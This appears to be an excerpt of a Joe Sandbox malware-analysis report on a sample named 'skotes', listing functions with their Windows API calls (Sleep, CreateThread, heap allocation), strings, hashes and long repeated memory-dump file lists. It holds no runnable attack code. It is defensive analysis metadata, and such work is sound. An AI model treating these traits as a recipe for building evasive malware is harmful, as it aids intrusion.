Opcode Fuzzy Hash: 235151096b10a100bb90905fab240bcf173e5b281fb6ebdf9be580596b2334df
Instruction Fuzzy Hash: F6514870D102189BDB28EB68DC497FDB775DB46310F5042A8E909A72D1EF309EC48F91

Function 00227124 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 56timeCOMMON

Download Yara Rule

APIs

SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?,?,?,?,0022705B,?,?,00000000,00000000), ref: 00227166

Strings

j718, xrefs: 0022712C

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID: j718
API String ID: 2574697306-3131343938
Opcode ID: 69de299d67229b778eb867260c8d4d620d42129957cd3428579d1587fd5d9906
Instruction ID: 867a847cbe6a28aa28481533a92dec67b7149562d0b9aeed555f4723d0e9f8fc
Opcode Fuzzy Hash: 69de299d67229b778eb867260c8d4d620d42129957cd3428579d1587fd5d9906
Instruction Fuzzy Hash: E811187291810DFBDB10DFD4D885EDFB7BCAF08310F205262E915E2080EA70EA29CB61

Function 00226E4C Relevance: 3.1, APIs: 2, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd4e04d2112a7773b1e2fe65075b0f8ee5e896d5a0e03fafcb937754d25a7e98
Instruction ID: 9f154ac30ea3eb0fe85f580a4c66c9a7d41a52d7b5a96c557382418bcd95e04a
Opcode Fuzzy Hash: fd4e04d2112a7773b1e2fe65075b0f8ee5e896d5a0e03fafcb937754d25a7e98
Instruction Fuzzy Hash: 1F21E2329141297BEE11BBE8BD46F9B7769DB42338F110211F9242B1D1DAB09E258AA1

Function 00206C70 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 00206CF5

Strings

j718, xrefs: 002047C4, 00206C86

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep
String ID: j718
API String ID: 3472027048-3131343938
Opcode ID: 2aa94b4acc076603c4ca4c2295a0a071a860b567ecdb3877c45deaddde171504
Instruction ID: 7a979158aa7f73b5278227f815f1f63ae97943a0eac7403c465e39de4e335cec
Opcode Fuzzy Hash: 2aa94b4acc076603c4ca4c2295a0a071a860b567ecdb3877c45deaddde171504
Instruction Fuzzy Hash: 3AF0F971E20714E7C700BB689C0771E7B78EB07760F800358E911672D2D7302A2447D3

Function 00206D00 Relevance: 3.0, APIs: 2, Instructions: 14sleepthreadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_00016C70,00000000,00000000,00000000), ref: 00206D10
Sleep.KERNEL32(00007530), ref: 00206D25

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSleepThread
String ID:
API String ID: 4202482776-0
Opcode ID: da99c89b050028867b600adbacb4aae39ab09b86bf0522bcddc72065ea838c0f
Instruction ID: afc73226af8882a890ffb20989e4064babf0599786c6b4d2d08420e833f9c77c
Opcode Fuzzy Hash: da99c89b050028867b600adbacb4aae39ab09b86bf0522bcddc72065ea838c0f
Instruction Fuzzy Hash: D1D08C347E8314B6F22003602C0FF56AA109B0BF02F241040B30C3F0D182E0312046AD

Function 0022AC53 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 0022AC8D

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 632f73b85634389b78737363a09dfe93e9f3a1a532c6b77e381d03d56cfc90c2
Instruction ID: 080f8fa49904b5eed0950ab92c597a48577cac420783f1b173fea06a47157273
Opcode Fuzzy Hash: 632f73b85634389b78737363a09dfe93e9f3a1a532c6b77e381d03d56cfc90c2
Instruction Fuzzy Hash: 80111571A0420AAFCB05DF98E94199A7BF4EF48304F14406AF809AB251D670EE21CB65

Function 0022B04B Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00206CB7,?,?,0020D3FC,00206CB7,?,00207A8B,8B18EC84,04E40A32), ref: 0022B07E

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
